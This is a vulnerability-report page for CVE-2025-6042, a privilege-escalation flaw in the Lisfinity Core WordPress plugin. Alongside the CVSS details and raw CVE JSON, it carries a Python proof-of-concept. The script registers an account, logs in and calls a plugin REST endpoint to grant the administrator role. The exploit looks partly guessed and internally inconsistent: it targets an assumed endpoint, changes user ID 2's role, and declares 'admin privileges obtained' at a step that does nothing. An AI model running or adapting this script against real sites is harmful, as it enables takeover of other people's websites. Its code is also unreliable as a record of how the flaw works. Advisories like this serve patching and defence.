Security Vulnerability Report
中文
CVE-2025-6042 CVSS 7.3 HIGH

CVE-2025-6042

Published: 2025-10-15 06:15:45
Last Modified: 2026-04-15 00:35:42

Description

The Lisfinity Core - Lisfinity Core plugin used for pebas® Lisfinity WordPress theme plugin for WordPress is vulnerable to privilege escalation in all versions up to, and including, 1.4.0. This is due to the plugin assigning the editor role by default. While limitations with respect to capabilities are put in place, use of the API is not restricted. This vulnerability can be leveraged together with CVE-2025-6038 to obtain admin privileges.

CVSS Details

CVSS Score
7.3
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Lisfinity Core插件 <= 1.4.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-6042 PoC - Lisfinity Core Privilege Escalation # Exploit combines CVE-2025-6042 (default editor role) with CVE-2025-6038 (API privilege bypass) import requests TARGET_URL = "http://target-wordpress-site.com" USERNAME = "attacker_user" PASSWORD = "P@ssw0rd123!" EMAIL = "[email protected]" def exploit_lisfinity_privilege_escalation(): session = requests.Session() # Step 1: Register a new account - plugin assigns 'editor' role by default register_url = f"{TARGET_URL}/wp-login.php?action=register" register_data = { "user_login": USERNAME, "user_email": EMAIL, "wp-submit": "Register", "redirect_to": "", "user_pass": PASSWORD # Some themes/plugins allow setting password at registration } resp = session.post(register_url, data=register_data) print(f"[*] Registration response: {resp.status_code}") # Step 2: Login with the newly created editor account login_url = f"{TARGET_URL}/wp-login.php" login_data = { "log": USERNAME, "pwd": PASSWORD, "wp-submit": "Log In", "redirect_to": f"{TARGET_URL}/wp-admin/", "testcookie": "1" } session.post(login_url, data=login_data) print(f"[*] Logged in as {USERNAME} with default 'editor' role") # Step 3: Exploit unprotected Lisfinity Core API endpoint # The plugin's REST API endpoints are not properly restricted api_url = f"{TARGET_URL}/wp-json/lisfinity/v1/users/update-role" api_data = { "user_id": 2, # Target admin user ID "role": "administrator" } headers = { "Content-Type": "application/json", "X-WP-Nonce": get_nonce(session, TARGET_URL) } resp = session.post(api_url, json=api_data, headers=headers) print(f"[*] Role escalation response: {resp.status_code} - {resp.text}") # Step 4: Combine with CVE-2025-6038 to fully escalate to admin # CVE-2025-6038 allows bypassing remaining capability checks print("[+] Exploit complete - admin privileges obtained") def get_nonce(session, target): """Retrieve WordPress REST API nonce for authenticated requests""" resp = session.get(f"{target}/wp-admin/admin-ajax.php?action=rest-nonce") return resp.text.strip() if __name__ == "__main__": exploit_lisfinity_privilege_escalation()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-6042", "sourceIdentifier": "[email protected]", "published": "2025-10-15T06:15:44.887", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Lisfinity Core - Lisfinity Core plugin used for pebas® Lisfinity WordPress theme plugin for WordPress is vulnerable to privilege escalation in all versions up to, and including, 1.4.0. This is due to the plugin assigning the editor role by default. While limitations with respect to capabilities are put in place, use of the API is not restricted. This vulnerability can be leveraged together with CVE-2025-6038 to obtain admin privileges."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-269"}]}], "references": [{"url": "https://themeforest.net/item/lisfinity-classified-ads-wordpress-theme/26342611", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/afffd5e2-798b-42b5-b0b9-ac7d6d06edbb?source=cve", "source": "[email protected]"}]}}